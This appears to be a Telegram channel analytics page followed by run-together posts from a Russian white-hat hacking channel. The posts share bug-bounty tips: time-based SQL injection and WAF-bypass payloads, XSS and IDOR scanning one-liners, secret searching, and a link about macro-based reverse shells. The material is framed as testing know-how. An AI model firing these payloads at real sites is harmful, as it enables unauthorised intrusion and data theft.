White Hat
Пишем про информационную безопасность и белый хакинг. Сотрудничество: @workhouse_price Канал на бирже: https://telega.in/c/kind_hack Канал в реестре РКН: https://clck.ru/3FtTnR
Show more📈 Analytical overview of Telegram channel White Hat
Channel White Hat (@kind_hack) in the Russian language segment is an active participant. Currently, the community unites 11 791 subscribers, ranking 10 597 in the Technologies & Applications category and 55 585 in the Russia region.
📊 Audience metrics and dynamics
Since its creation on невідомо, the project has demonstrated rapid growth, gathering an audience of 11 791 subscribers.
According to the latest data from 25 June, 2026, the channel demonstrates stable activity. Although there has been a change in the number of participants by 384 over the last 30 days and by 13 over the last 24 hours, overall reach remains high.
- Verification status: Not verified
- Engagement rate (ER): The average audience engagement rate is 8.32%. Within the first 24 hours after publication, content typically collects 3.55% reactions from the total number of subscribers.
- Post reach: On average, each post receives 981 views. Within the first day, a publication typically gains 419 views.
- Reactions and interaction: The audience actively supports content: the average number of reactions per post is 4.
- Thematic interests: Content is focused on key topics such as взлом, шпаргалка, обнаружение, протокол, хакер.
📝 Description and content policy
The author describes the resource as a platform for expressing subjective opinions:
“Пишем про информационную безопасность и белый хакинг.
Сотрудничество: @workhouse_price
Канал на бирже: https://telega.in/c/kind_hack
Канал в реестре РКН: https://clck.ru/3FtTnR”
Thanks to the high frequency of updates (latest data received on 26 June, 2026), the channel maintains relevance and a high level of publication reach. Analytics show that the audience actively interacts with content, making it an important point of influence in the Technologies & Applications category.
| Привет, друг. На связи Эллиот.
Когда нужно проверить список доменов на Time-Based уязвимости и лень писать шаблон для Nuclei, можно заюзать httpx с параметрами -timeout, для указания максимального таймаута и -mrt, для вывода только результатов с определенной задержкой.
cat web.list | httpx -silent -path '/sitemap.xml?offset=1%3bSELECT%20IF((8303%3E8302)%2cSLEEP(10)%2c2356)%23' -rt -timeout 20 -mrt '>10'
Аналогично, для заголовков:
cat web.list | httpx -silent -H "X-Forwarded-For: 'XOR(if(now()=sysdate(),sleep(10),0))OR" -rt -timeout 20 -mrt '>10'
#Web #SQLi #RCEhttps://example.com на адрес тестируемого сайта и выполнить команду:
gospider -s https://example.com -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -e "code-200" | awk '{print $5}' | grep "=" | qsreplace -a | dalfox pipe -o result.txt
#Web #XSShttps://targetdomain.com/user/3bf1114a986ba87ed28fc1b5884fc2f8
Для решения этой задачи, вы можете использовать простой bash-скрипт, совместно с ffuf.
Предположим, у вас есть конечная точка, которая принимает параметр id в виде md5. Мы можем проверить его на IDOR с помощью приведенной ниже команды, которая сгенерирует список чисел от 1 до 1000:
seq 1 1000 | hashit md5 | ffuf -w - -u https://targetdomain.com/user/FUZZ
#Web #IDOR #BashSLEEP(5) /*' or SLEEP(5) or'" or SLEEP(5) or "*/
Немного изменив ее, мы можем добиться отсутствия пробелов, что сделает ее более универсальной:
SLEEP(5)/*'or(SLEEP(5))or'"or(SLEEP(5))or"*/
Немного модифицировав её, вы сможете охватить некоторые другие случаи:
)SLEEP(0.5)(/*')or(SLEEP(0.5))or('")or(SLEEP(0.5))or("*/
Все дело в построении уязвимых SQL-запросов и поиска полезных нагрузок для каждого из них.
Данный список вы можете пополнить самостоятельно. Хорошей практикой будет использование тестовых лабораторий и создание нескольких полезных нагрузок для каждого сценария с использованием различных методов.
Это действительно улучшит ваши навыки работы с SQL-инъекциями и пополнит список рабочих полезных нагрузок в вашем арсенале.
Поэтому перестаньте использовать бесполезные вордлисты на 1к строк, не понимая должным образом, что они делают или как они работают. Помните, что из выбора бесполезного количества в ущерб качеству никогда не выйдет ничего хорошего, кроме потери действительно хороших возможностей.
P.S. Для тестов всего этого прекрасно подойдет sqlfiddle.com, в котором можно создавать и тестировать запросы к БД. Тут пример инъекции с применением полезных нагрузок из поста.
#Web #SQLi| Привет, друг. На связи Эллиот
Макросы из офисных документов Windows активно используются злоумышленниками или исследователями безопасности для доставки полезной нагрузки на сервер и компрометации системы.
В статье по ссылке представлен рабочий метод создания макроса для документов Word и Excel и его использование для вызова другого объекта, расположенного в свойствах документа. В видео ниже продемонстрировано получение реверс шелла с помощью этого метода.
⏺ Ссылка на чтиво
⏺ Ссылка на видеоматериал
#Word #Excel #Windowshttps://example.com/getUser?name=' or "=' (403 Forbidden)
https://example.com/getUser?name=' or 1337.e(")=' (200 OK)
#Web #WAF #SQLitrufflehog filesystem --directory=/results/domain.com
#Reconprintf site.com | gau
После этого начинаем вручную анализировать конечные точки и URL-адреса, уделяя особое внимание некоторым чувствительным ключевым словам:
invoice, discount, promo-code, join, redirect, reset_password, reset-password, password, TrackOrder, token, invite.
В примере на фото ниже привлекает внимание слово invite. После нажатия по данной ссылке открывается страница регистрации. После создания новой учетной записи с личной электронной почтой (@gmail.com) сайт просто перенаправляет на страницу компании внутри целевого приложения, содержащую всех приглашенных сотрудников и конфиденциальную информацию.
#Web #Leak| Привет, друг. На связи Эллиот.
Основные этапы JavaScript-разведки в Bug Bounty это:
1 - Сбор файлов JS от цели.
2 - Поиск конечных точек из файлов JS.
3 - Поиск секретов в файлах JS.
4 - Получение файлов JS локально для ручного анализа.
7 - Извлечение имен переменных из файлов JS для проверки на XSS.
8 - Сканировать файлов JS на наличие DomXSS.
Для автоматизация вышеперечисленных и некоторых других действий есть неплохой инструмент, под названием JSFScan. Достаточно передать ему список поддоменов и задать опции в соответствии с вашими предпочтениями.
Ниже представлено видео, демонстрирующее процесс работы с данным инструментом.
⏺ Ссылка на GitHub
⏺ Ссылка на видео
#Web #JS
Available now! Telegram Research 2025 — the year's key insights 
